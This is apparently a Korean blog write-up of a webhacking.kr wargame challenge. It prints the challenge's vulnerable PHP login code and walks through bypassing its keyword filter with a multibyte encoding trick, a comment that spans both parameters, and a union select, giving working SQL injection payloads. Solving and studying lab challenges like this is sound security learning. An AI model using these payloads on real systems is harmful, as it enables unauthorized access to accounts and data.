본문 바로가기
Wargame(CTF)

Challenge 50

by Hide­ 2014. 7. 22.
반응형

센터에서 공부하다가 갑자기 웹이 풀고싶어서 풀어본 문제이다.

페이로드를 찾아내고서 살짝 멘붕했었다..

일단 문제의 소스를 확인해보자.

 

<?
if($_GET[id] && $_GET[pw
])
{
 
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr'
);


foreach(
$_GET as $ck
)
{
if(
eregi("from",$ck
)) exit();
if(
eregi("pw",$ck
)) exit();
if(
eregi("\(",$ck
)) exit();
if(
eregi("\)",$ck
)) exit();
if(
eregi(" ",$ck
)) exit();
if(
eregi("%",$ck
)) exit();
if(
eregi("=",$ck
)) exit();
if(
eregi(">",$ck
)) exit();
if(
eregi("<",$ck
)) exit();
if(
eregi("@",$ck
)) exit();
}


if(
eregi("union",$_GET[id
])) exit();
 
$data=@mysql_fetch_array(mysql_query("select lv from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"
));


if(
$data
)
{
if(
$data[0]=="1") echo("level : 1<br><br>"
);
if(
$data[0]=="2") echo("level : 2<br><br>"
);


if(
$data[0]=="3"
)
{
@
solve
();
}
 
 
if(!
$data
)
{
echo(
"Wrong"
);
}
 
}
 
?>

 

쿼리를 날려서 lv 을 가져오고 해당 lv이 3이라면 답이 나오는 형태이다. 핵심포인트는 id부분에 걸려있는

mb_convert_encoding 즉 멀티바이트 취약점과 pw 부분에만 걸려있지 않은 union 필터링이다.

처음엔 union 부분에 대한 생각도 하지 않고 첫번째 취약점만을 이용하여 아래와 같은 페이로드를 구성했었다.

 

?id=gues%aa%27or%0dlv%0dlike%0d3%23&pw=aaa

 

id부분을 거짓으로 주고 or 로 다음 구문을 실행시키게 했다. (lv like 3 = 레벨이 3인것)

콘솔에서도 해보고 직접 구축한 사이트에서도 실행해봤었다. 전부 다 잘된다.

그런데 문제에서는 이상하게도 통하지않았다..그래서 지인들에게 힌트를 요청했다.

/* 주석이 힌트였다. 대부분의 주석은 # 을 쓰기 때문에 쉽게 생각하지 못했던 것 같다.

/* */ 주석을 통해 pw 자체를 씹어버렸고 쿼리를 날릴 때 lv 만을 가져오므로 union 구문으로 3을 넣었다.

아래는 최종 페이로드이다.

 

?id=guest%aa%27%2f*&pw=*%2funion%0dselect%0d3%23

 

'Wargame(CTF)' 카테고리의 다른 글

Webhacking.kr All Clear  (4) 2014.07.26
Challenge 59  (0) 2014.07.23
itchy's Funny injection 풀이  (0) 2014.06.18
Challenge 13  (0) 2014.06.15
Challenge 57  (0) 2014.06.12